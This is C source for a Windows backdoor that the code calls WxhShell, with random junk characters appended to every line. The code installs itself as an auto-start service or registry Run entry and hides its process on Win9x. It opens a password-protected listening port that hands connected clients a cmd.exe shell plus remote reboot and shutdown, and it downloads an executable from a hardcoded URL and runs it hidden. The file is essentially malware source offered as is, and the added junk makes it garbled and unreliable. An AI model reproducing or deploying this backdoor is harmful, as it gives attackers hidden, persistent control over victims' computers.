    else { %kyvt t  
    closesocket(wsh); 7=}`"7i~  
    ExitThread(0); X\uN:;?#W{  
    } IY+P Yad  
    break; HD$W\P  
    } )f,iey\-  
  // 关机 `2}Mz9mk  
  case 'd': { ](B+ilr   
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); xMU4Av[{  
    if(Boot(SHUTDOWN)) YQ;?N66  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); @/7tN3O  
    else { )]?sCNb  
    closesocket(wsh); ]^E<e!z={$  
    ExitThread(0); PjDYdT[  
    } yX/ 9jk  
    break; 6> X7JMRY  
    } :<!a.%=  
  // 获取shell 7]62=p2R  
  case 's': { l7nc8K  
    CmdShell(wsh); 7<=xc'*8t  
    closesocket(wsh); >]s|'HTxF  
    ExitThread(0); ,A4v|]kq]  
    break; &KmV tj  
  } IyOb0WiEj  
  // 退出 UXvUU^k"v  
  case 'x': { S&q@M  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ]-&A )M6  
    CloseIt(wsh); nd}[X[ay  
    break; jEo)#j];`<  
    } C%vR!Az  
  // 离开 i^f*Em1  
  case 'q': { ")}^\O m  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); tZB" (\  
    closesocket(wsh); 'pa[z5{k+  
    WSACleanup(); ,( u- x!  
    exit(1); g Y|f[M|  
    break; 5<^ $9('  
        } 5_!s\5  
  } uB_8P+h7  
  } W US[hx,  
VKqIFM1b  
  // 提示信息 98'/yZ  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); B:J([@\'  
} iHBetkAu  
  } 7@oM?r7td  
`\_>P@qz  
  return; @G,pM: t  
} \MI2^J N  
lY -2e>  
// shell模块句柄 X$BN &DD  
int CmdShell(SOCKET sock) ,a 2(h  
{ F#-mseKhc  
STARTUPINFO si; : 8h\x  
ZeroMemory(&si,sizeof(si)); Cw$0XyO  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; G5A:C(r  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock;  S1$lNB  
PROCESS_INFORMATION ProcessInfo; MD|T4PPz,}  
char cmdline[]="cmd"; lDsT?yHS`Z  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); B! +rO~  
  return 0; L)(JaZyV5  
} ] MP*5U>;  
4|U$ON?x  
// 自身启动模式 ;z2\ Q$  
int StartFromService(void) x%_VzqR`  
{ nwS @r  
typedef struct  m#K)%0  
{ {&dbxj-'  
  DWORD ExitStatus; YN]xI  
  DWORD PebBaseAddress; NTWy1  
  DWORD AffinityMask; WwUhwY1o!L  
  DWORD BasePriority; a_Sp}s<J  
  ULONG UniqueProcessId; A>\5fO  
  ULONG InheritedFromUniqueProcessId; *jR4OY|DXH  
}   PROCESS_BASIC_INFORMATION; / <C{$Gu  
h*>%ou   
PROCNTQSIP NtQueryInformationProcess; 2x5^kN7  
zEVQ[y6BcM  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; jlxY|;gZ-0  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; dvAG}<  
;NMv>1fI  
  HANDLE             hProcess; _^/k  
  PROCESS_BASIC_INFORMATION pbi; vmzc0J+3p  
DHq#beN  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ='vD4}"j  
  if(NULL == hInst ) return 0; TUBpRABH  
y'5`Uo?\",  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ty8>(N(~  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); !F:ANoaS  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); PZ >(cvX&  
f@@7?5fW  
  if (!NtQueryInformationProcess) return 0; Uiv4'v Yg  
aPdEEqc\l  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 9])Id;+91  
  if(!hProcess) return 0; 29AE B  
"4IrW6B $9  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 1oc@]0n  
b/{$#[oP`  
  CloseHandle(hProcess); Sa[?B  
iE EP~  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); gvFJ~lL  
if(hProcess==NULL) return 0; " Tk,  
{'Y()p3kl  
HMODULE hMod; enx+,[  
char procName[255]; *sQ.y {  
unsigned long cbNeeded; Gf +>Aj U'  
2 g\O/oz  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ) &DsRA7v  
+zwS[P@  
  CloseHandle(hProcess); * >/w,E]  
Y qmsL<  
if(strstr(procName,"services")) return 1; // 以服务启动 !1ZItJ74#  
+DG-MM%\  
  return 0; // 注册表启动 OMW]9E  
} GEv x<:  
MDQ:6Ri  
// 主模块 !</U"P:L  
int StartWxhshell(LPSTR lpCmdLine) {qGXv@ I6  
{ b# Dd  
  SOCKET wsl; `YUeVz>q?  
BOOL val=TRUE; sSf;j,7V  
  int port=0; ^OV!Q\j.q  
  struct sockaddr_in door; LF `]=.Q  
RH{+8?0  
  if(wscfg.ws_autoins) Install(); S}fQis  
 ?H!jKX  
port=atoi(lpCmdLine); :_<&LO]Q  
,RDWx  
if(port<=0) port=wscfg.ws_port; rb}fP #j  
9B![l=Gh  
  WSADATA data; 7Vk9{x$z  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; fK~8h  
6ddRFpe  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   aS[y\9(**  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 7IFZK\V  
  door.sin_family = AF_INET; >0[:uu,'>  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 8bQXC+bK  
  door.sin_port = htons(port); MLlvsa0  
j\wZjc-j  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { CzY18-L@EX  
closesocket(wsl); ~3-"1E>Rgy  
return 1; mZXtHFMu  
} U.V/JbXX  
g_n_Qlo  
  if(listen(wsl,2) == INVALID_SOCKET) { Niu |M@  
closesocket(wsl); #'},/Lm@  
return 1; .%dGSDru  
} VxS3lR=  
  Wxhshell(wsl); o=#ym4hJ%  
  WSACleanup(); -T;^T1  
r\#nBoo(  
return 0; N34-z|"q  
?w!8;xS8  
} 3=o4ncg(  
vNs`UkA  
// 以NT服务方式启动 T`pDjT  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) $m~&| s  
{ 3UmkFK<  
DWORD   status = 0; ~\2%h lA  
  DWORD   specificError = 0xfffffff; D"-Wo}"8O'  
i-;#FT+ Xc  
  serviceStatus.dwServiceType     = SERVICE_WIN32; PNd'21N  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; l53Q"ajG  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; aeI0;u  
  serviceStatus.dwWin32ExitCode     = 0; )A%* l9\nG  
  serviceStatus.dwServiceSpecificExitCode = 0; h_ccE 6]t  
  serviceStatus.dwCheckPoint       = 0; 63%V_B|  
  serviceStatus.dwWaitHint       = 0; M9o/6  
l5=ih9u  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 9_d# F'#F  
  if (hServiceStatusHandle==0) return; K!qOO  
+c!HXX  
status = GetLastError(); Y3~z#<  
  if (status!=NO_ERROR) ^n<YO=|u  
{ x7<NaMK\  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; %.u*nM7sos  
    serviceStatus.dwCheckPoint       = 0; T@{ab1KV  
    serviceStatus.dwWaitHint       = 0; 9d^m 7}2  
    serviceStatus.dwWin32ExitCode     = status; /*>}y$  
    serviceStatus.dwServiceSpecificExitCode = specificError; +TA~RC d  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ?H,f|nc  
    return; 9B;WjXSe  
  } ;+(_stxqV9  
^`i z%^  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; V s xI  
  serviceStatus.dwCheckPoint       = 0; u-y?i`  
  serviceStatus.dwWaitHint       = 0; <9 ^7r J  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); XEbVsw  
} ^^7@kh mNl  
TfkGkVR  
// 处理NT服务事件,比如:启动、停止 S>h\D4.  
VOID WINAPI NTServiceHandler(DWORD fdwControl) Iox)-  
{ HfhI9f_x  
switch(fdwControl) Li|~%E1  
{ ) 9 2(C  
case SERVICE_CONTROL_STOP: )-1e} VF(U  
  serviceStatus.dwWin32ExitCode = 0; QD{1?aY  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 2)}*'_E9  
  serviceStatus.dwCheckPoint   = 0; z9OpMA  
  serviceStatus.dwWaitHint     = 0; :<B_V<  
  { Q|{b8K  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); LTzdg >\oJ  
  } IAGY-+8e  
  return; #BcUE?K*N  
case SERVICE_CONTROL_PAUSE: B0gD4MX/  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 2[3t7C  
  break; x:~XZX\mwH  
case SERVICE_CONTROL_CONTINUE: C7vBa<a  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ,aUbB8  
  break; 0iZeU:FE  
case SERVICE_CONTROL_INTERROGATE: hp/pm6  
  break; BF2U$-k4  
}; &PL=nI\)  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); L[9Kh&c  
} hx;kNcPbI  
{ V(~  
// 标准应用程序主函数 4 FZR }e\  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) &}Wi@;G]2  
{ +x`pWH]2  
0\Jeyb2dl  
// 获取操作系统版本 =hb)e}l  
OsIsNt=GetOsVer(); WHv6E!^\_  
GetModuleFileName(NULL,ExeFile,MAX_PATH); dL+yd0 b*  
bcy  
  // 从命令行安装 @w.DN)GPo  
  if(strpbrk(lpCmdLine,"iI")) Install(); wGT>Xh!  
^?(#%~NS  
  // 下载执行文件 `W@jo~ y<  
if(wscfg.ws_downexe) { ({C[RsY=6  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 3b0|7@_E  
  WinExec(wscfg.ws_filenam,SW_HIDE); c-(dm:  
} 65O 8?I  
vdgK3I  
if(!OsIsNt) { ge?or]T1S  
// 如果时win9x,隐藏进程并且设置为注册表启动 ^ swj!da  
HideProc(); 9)S3{i6w  
StartWxhshell(lpCmdLine); x"C7NW[$  
} =8`KGeP$  
else \ILNx^$EL  
  if(StartFromService()) 11#b%dT  
  // 以服务方式启动 ;8&/JSN M  
  StartServiceCtrlDispatcher(DispatchTable); #&r}J  
else `@1e{ ?$  
  // 普通方式启动 4OJD_  
  StartWxhshell(lpCmdLine); l(_|CkcZ  
2(~Zl\  
return 0; aN*{nW  
} 2p;I<C:Eo  
%f("3!#H  
oGI'a:iff  
0',buJncV  
=========================================== hG#2}K_  
d(V4;8a0  
rA?< \*  
V0 Z8VqV  
T!9AEG  
5HHf3E [  
" j-**\.4a~  
YCb|eS^u  
#include <stdio.h> @VIY=qh  
#include <string.h> [tt{wl"E  
#include <windows.h> ^;s/4  
#include <winsock2.h> a]5y CBm  
#include <winsvc.h> FF^h(Ea  
#include <urlmon.h> WH39=)D%u  
VKYljY0#  
#pragma comment (lib, "Ws2_32.lib") gSwHPm%zn  
#pragma comment (lib, "urlmon.lib") Y-1K'VhT  
c*zeO@AAn  
#define MAX_USER   100 // 最大客户端连接数 {4/*2IRN9h  
#define BUF_SOCK   200 // sock buffer E24}?t^|  
#define KEY_BUFF   255 // 输入 buffer E.Th}+  
IOC$jab@  
#define REBOOT     0   // 重启 '4#NVXVQm  
#define SHUTDOWN   1   // 关机 3!sZA?q  
I Ij:3HP  
#define DEF_PORT   5000 // 监听端口 +IbV  
t$VRNZ`dy  
#define REG_LEN     16   // 注册表键长度 Aep](je  
#define SVC_LEN     80   // NT服务名长度 j(;ou?Uh  
WwWOic2  
// 从dll定义API Dmy=_j?ej  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); toD!RE  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); II _CT=  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Ce}m$k  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); `# !>}/m  
wxJ"{(;  
// wxhshell配置信息 ft@#[Bkx  
struct WSCFG { &#u\@Qze  
  int ws_port;         // 监听端口 _ Dz*%  
  char ws_passstr[REG_LEN]; // 口令 t(PA+~sIp  
  int ws_autoins;       // 安装标记, 1=yes 0=no *>[ q*SF  
  char ws_regname[REG_LEN]; // 注册表键名 | ~>7_:  
  char ws_svcname[REG_LEN]; // 服务名  Glx{Zu=  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 wi.E$R ckD  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 0i8\Lu6  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 _PC<Td>nm  
int ws_downexe;       // 下载执行标记, 1=yes 0=no N`H`\+  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" @44*<!da  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 JS\]|~Gd  
0d:t=LKw)  
}; xqlnHf<G  
v;?W|kJ.u  
// default Wxhshell configuration ~X<$ l+5  
struct WSCFG wscfg={DEF_PORT, _^RN$4.R>  
    "xuhuanlingzhe", G eB-4img  
    1, KkzG#'I1  
    "Wxhshell", ^j pQfDe6  
    "Wxhshell", ER&\2,fZ  
            "WxhShell Service", x+%> 2qgj"  
    "Wrsky Windows CmdShell Service", ${ DSH  
    "Please Input Your Password: ", *Ev8f11i&  
  1, 8~.8"gQ  
  "http://www.wrsky.com/wxhshell.exe", M1 o@v0  
  "Wxhshell.exe" l$HBYA\Qh  
    }; /&@q*L  
9X#]Lg?b  
// 消息定义模块 >OjK0jiPf  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; gth_Sz5!#  
char *msg_ws_prompt="\n\r? for help\n\r#>"; t(.vX  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; V5 9Vf[i|  
char *msg_ws_ext="\n\rExit."; U_Mag(^-  
char *msg_ws_end="\n\rQuit."; *h5L1Eq  
char *msg_ws_boot="\n\rReboot..."; qn{9vr  
char *msg_ws_poff="\n\rShutdown..."; vs$. i  
char *msg_ws_down="\n\rSave to "; #-"C_~-MH  
&h6 `hP_  
char *msg_ws_err="\n\rErr!"; T(cpU,Q  
char *msg_ws_ok="\n\rOK!"; , :KJ({wM  
&i`(y>\  
char ExeFile[MAX_PATH]; ehe#"exCB  
int nUser = 0; [(8s\>T  
HANDLE handles[MAX_USER]; 5yV>-XT+-  
int OsIsNt; [{`&a#Q  
c5Kc iTD^  
SERVICE_STATUS       serviceStatus; [V;u7Z\r-  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ]D2 d=\  
I>-1kFma;  
// 函数声明 lPA}06hU  
int Install(void); 81I9xqvSd~  
int Uninstall(void); CA$|3m9)NM  
int DownloadFile(char *sURL, SOCKET wsh); 7o*~zDh@fH  
int Boot(int flag); G/(tgQ  
void HideProc(void); -B7X;{  
int GetOsVer(void); sVnpO$  
int Wxhshell(SOCKET wsl); 4~nf~  
void TalkWithClient(void *cs); UhU+vy6)/  
int CmdShell(SOCKET sock); ~Hx>yn94e  
int StartFromService(void); n5fc_N/8O=  
int StartWxhshell(LPSTR lpCmdLine); vr kj4J f  
{e[~1]j3  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); K)n058PO  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); RW Jyd=  
Ycxv=Et  
// 数据结构和表定义 )g U#[}6H  
SERVICE_TABLE_ENTRY DispatchTable[] = |NFDrm  
{ V4,\vgGu  
{wscfg.ws_svcname, NTServiceMain}, w(y 9y9r]  
{NULL, NULL} b'`C<Rk  
}; [ 4PiQyr  
7 3ABop  
// 自我安装 5'wFZ=>vMt  
int Install(void) nIUts?mB  
{ u*7>0o|H:  
  char svExeFile[MAX_PATH]; G/1V4-@  
  HKEY key; ]qk`Yi  
  strcpy(svExeFile,ExeFile);  @]V_%,  
eFQz G+/  
// 如果是win9x系统,修改注册表设为自启动 Z?eedVV@  
if(!OsIsNt) { ,A0v 5Q<  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { {'?PGk%v  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); h{ EnS5~  
  RegCloseKey(key);  (S&D  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { -e+im(2D=  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ;s$ P?('  
  RegCloseKey(key); 'H1k  
  return 0; Gs*X> D  
    } e~6>8YO+7j  
  } R]S!PSoL  
} u6*0% Km  
else { M(Yt9}Z%Y  
tRTJQ  
// 如果是NT以上系统,安装为系统服务 j>hBNz  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); *OY Nx4k  
if (schSCManager!=0) gJOD+~  
{ ^8g<>, $  
  SC_HANDLE schService = CreateService 4tp }  
  ( !WD^To  
  schSCManager, [Lid%2O3ZR  
  wscfg.ws_svcname, OlsD  
  wscfg.ws_svcdisp, <x:^w'V_b  
  SERVICE_ALL_ACCESS, p$XvVzW#<  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , B(R$5Xp  
  SERVICE_AUTO_START, Y0o{@)Y:  
  SERVICE_ERROR_NORMAL, l+^4y_  
  svExeFile, (S63:q&g  
  NULL, ,GF(pCZzG  
  NULL, QM=Y}   
  NULL, CYhSCT!-?  
  NULL, TA"gU8YQ  
  NULL  ByjgM`  
  ); /+?eSgM/  
  if (schService!=0) =n_>7@9l  
  { wG&rkg";#  
  CloseServiceHandle(schService); Lr(My3vF8q  
  CloseServiceHandle(schSCManager); ]/?$DNjCc  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");  ]l=iKl  
  strcat(svExeFile,wscfg.ws_svcname); W@vCMy!  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { Rs "#gT  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); WWVQJ{,}  
  RegCloseKey(key); VO7&<Y}{x  
  return 0; cx*$GaMk  
    } _j\ 8u`^n  
  } xbZR/!?  
  CloseServiceHandle(schSCManager); &v/R-pz  
} 81S0:=   
} pT<I!,~  
?s9f}>  
return 1; BBRZlx  
} 3^Z@fC  
i dY Xv)R  
// 自我卸载 Zy^ wS1io  
int Uninstall(void) qGECw#  
{ d'e\tO  
  HKEY key; a}kPc}n\  
tjcG^m} _  
if(!OsIsNt) { U{8x.CJ]  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { g"X!&$ &  
  RegDeleteValue(key,wscfg.ws_regname); 0 TOw4pC  
  RegCloseKey(key); NxN~"bfh  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Qa,$_ ,E  
  RegDeleteValue(key,wscfg.ws_regname); C9nCSbGMY{  
  RegCloseKey(key); ;% l0Ml>  
  return 0; W-4R;!42  
  } Eyg F,>.4  
} 'OsRQ)E  
} CjmF2[|  
else { _*u$U  
\-{2E  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); )W!\D/C+  
if (schSCManager!=0) x{,W<oXg  
{ W%< z|  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); HXQ } B$V  
  if (schService!=0) {6HgKI  
  { 9]^NAlno  
  if(DeleteService(schService)!=0) { #++D|oE  
  CloseServiceHandle(schService); <O~ieJim  
  CloseServiceHandle(schSCManager); GT-ONwVDq  
  return 0; g ~>nT>6  
  } dIk9C|-.  
  CloseServiceHandle(schService); xgZ<. r  
  } c) _u^Dh  
  CloseServiceHandle(schSCManager); (xMq(g  
} eY3<LVAX  
} #[sJKW  
,o [FUi(#@  
return 1; e@g=wN"@  
} _ IlRZ}f  
OZ2faf  
// 从指定url下载文件 Bh()?{q  
int DownloadFile(char *sURL, SOCKET wsh) FQ]5W |e  
{ a!;CY1>  
  HRESULT hr; P&AaD!Qn  
char seps[]= "/"; zz-X5PFn  
char *token; ~!'T!g%C  
char *file; =Kt!+^\")  
char myURL[MAX_PATH]; @Qd5a(5WM  
char myFILE[MAX_PATH]; 0MN)Z(Sa  
nC#SnyUO  
strcpy(myURL,sURL); xm> y3WC  
  token=strtok(myURL,seps); r9~IR  
  while(token!=NULL) /1?{,Das=  
  { "tmr s_~  
    file=token; Hh &s.ja  
  token=strtok(NULL,seps); *)Pb-c  
  } 2Kw i4R  
XknbcA|  
GetCurrentDirectory(MAX_PATH,myFILE); "2`/mt Mon  
strcat(myFILE, "\\"); |O[ I=!  
strcat(myFILE, file); W ZW:q  
  send(wsh,myFILE,strlen(myFILE),0); HUx -8<ws  
send(wsh,"...",3,0); @EUvx  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ! Y'~?BI  
  if(hr==S_OK) |S3wCG  
return 0; }\vw>iHPX@  
else Bx0=D:j  
return 1; 8!7`F.BX  
+e&Q<q!,q  
} sh}eKwh  
O,0j+1?  
// 系统电源模块 &M2fcw?  
int Boot(int flag) {$v>3FG  
{ j15t8du&O  
  HANDLE hToken; /^,/o  
  TOKEN_PRIVILEGES tkp; !FeNx*31i  
gHVD,Jr  
  if(OsIsNt) { =_`cY^ib+  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); FyRr/0C>  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); Qz([\Xx:  
    tkp.PrivilegeCount = 1; d 2z!i^:  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; g HKA:j`c  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); i^V3u  
if(flag==REBOOT) { mlbSs_LT^  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) -7A2@g  
  return 0; &5 R-bYGW  
} ;>jOB>b{h  
else { 3 /LW6W|  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) l"9$lF}  
  return 0; 4_o+gG%HaM  
} poXT)2^)  
  } zc!q a"4yM  
  else { 9D51@b6k  
if(flag==REBOOT) { _ Zzne  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) t&rr;W]  
  return 0; {D4N=#tl  
} H:X(><J  
else { fnudy% oo  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) tMr$N[@r  
  return 0; O\^D 6\ v  
} z2OXCZ*/  
} n$3w=9EX *  
!9EbG  
return 1; 420cbD3a  
} 0ZtH  
]VK9d;0D  
// win9x进程隐藏模块 5S&^mj-9  
void HideProc(void) Fzn#>`qG  
{ *|)O  
/P/::$  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); .jRv8x b  
  if ( hKernel != NULL ) HG[gJ7  
  { Kg#s<#h  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); (eO_]<wmky  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); n16TQe"8  
    FreeLibrary(hKernel); +!<{80w  
  } q%wF=<W  
WvWZzlw  
return; 8Tm/gzx  
} q??N,  
$lf\1)B~*  
// 获取操作系统版本 =8x-+u5}rK  
int GetOsVer(void) 6G>bZ+  
{ d(6&kXK  
  OSVERSIONINFO winfo; x DX_s:A  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); l[{Ci|4  
  GetVersionEx(&winfo); R|dSjEs  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) }3y Q*<  
  return 1; Xe\,:~  
  else UJGmaE  
  return 0; QlWkK.<Z3_  
} pqxBu  
4t0-L]v4.*  
// 客户端句柄模块 k{pn~)xg  
int Wxhshell(SOCKET wsl) B~/ejC!  
{ d15E$?ZLH  
  SOCKET wsh; N;XJMk_ H  
  struct sockaddr_in client; BZ@v8y _TA  
  DWORD myID;  Fs1ms)  
/BfCh(B  
  while(nUser<MAX_USER) \}NZ] l  
{ C~:!WRCz  
  int nSize=sizeof(client); wfc+E9E  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ,v*<yz/  
  if(wsh==INVALID_SOCKET) return 1; bL18G(5  
S[o R q  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); / S)&dN`  
if(handles[nUser]==0) 8rgNG7d  
  closesocket(wsh); 4p_@f^v~QH  
else 1F }mlyS  
  nUser++; {t&+abY  
  } ^tFgkzXm  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); #ui7YUR=2  
vCtag]H2@  
  return 0; 3?oj46gP  
} y5 bELWA  
OgB ZoTT  
// 关闭 socket 3ZU<u;  
void CloseIt(SOCKET wsh) Z  )dz  
{ ~`x<;Ts  
closesocket(wsh); EL-1o0 2-  
nUser--; Cn(0ID+3f  
ExitThread(0); B|+tK  
} v_Y'o _  
2d Px s:8&  
// 客户端请求句柄 3RTraF  
void TalkWithClient(void *cs) 3xz{[5<p  
{ J#'+&D H  
k,nRC~Irh  
  SOCKET wsh=(SOCKET)cs; $N1UEvC%Q  
  char pwd[SVC_LEN]; +R?d6IjH  
  char cmd[KEY_BUFF]; ;l6tZ]-"  
char chr[1]; :X;AmLf`2u  
int i,j; m]NyEMYg  
=!%+ sem  
  while (nUser < MAX_USER) { d^.fB+)A3  
{|J'd+  
if(wscfg.ws_passstr) { \aG:l.IM0  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); wFJ?u?b0Q  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); saaN$tU7  
  //ZeroMemory(pwd,KEY_BUFF); 4aQb+t,  
      i=0; [1*3 kt*h  
  while(i<SVC_LEN) { #7A_p8  
:h+gSvn:  
  // 设置超时 ' Z}/3 dp  
  fd_set FdRead; ard<T}|N  
  struct timeval TimeOut; $lMEZt8A  
  FD_ZERO(&FdRead); Z{ A)  
  FD_SET(wsh,&FdRead); " '/$ZpY  
  TimeOut.tv_sec=8; ;9hi2_luV  
  TimeOut.tv_usec=0; f}c z_"o4  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); w&7-:."1i  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); e/;chMCq  
WurpHOJt+  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); /8SQmh$+e  
  pwd=chr[0]; I(dMiL  
  if(chr[0]==0xd || chr[0]==0xa) { 1wa zJj=v  
  pwd=0; B|Rnh;B-  
  break; 6h|@Bz/A  
  } t zhkdG  
  i++; 0/."R ;  
    } t-$R)vZ}M  
t4H@ZvAH0  
  // 如果是非法用户,关闭 socket siHS@S  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); YEWHr>&Z  
} Jn>7MuG  
~iZMV ?w  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); <<da TQV  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); _Z|s!~wdz  
Dm j^aFB0|  
while(1) { Xp=Y<`dX  
%7PprN0>  
  ZeroMemory(cmd,KEY_BUFF); XLK#=YTI  
7)IB IlV  
      // 自动支持客户端 telnet标准   $SQ8,Y,  
  j=0; 9K@>{69WQ  
  while(j<KEY_BUFF) { a<%WFix  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); u":D{+wC |  
  cmd[j]=chr[0]; }*~EA=YN;  
  if(chr[0]==0xa || chr[0]==0xd) { oVsj Q  
  cmd[j]=0; &t +   
  break; @xJ qG"  
  } %($qg-x  
  j++; oQC*d}_E}  
    } n<p`OKIV3  
x+vNA J  
  // 下载文件 3,bA&c3  
  if(strstr(cmd,"http://")) { `~hAXnQK=  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 9x,Aqr$t  
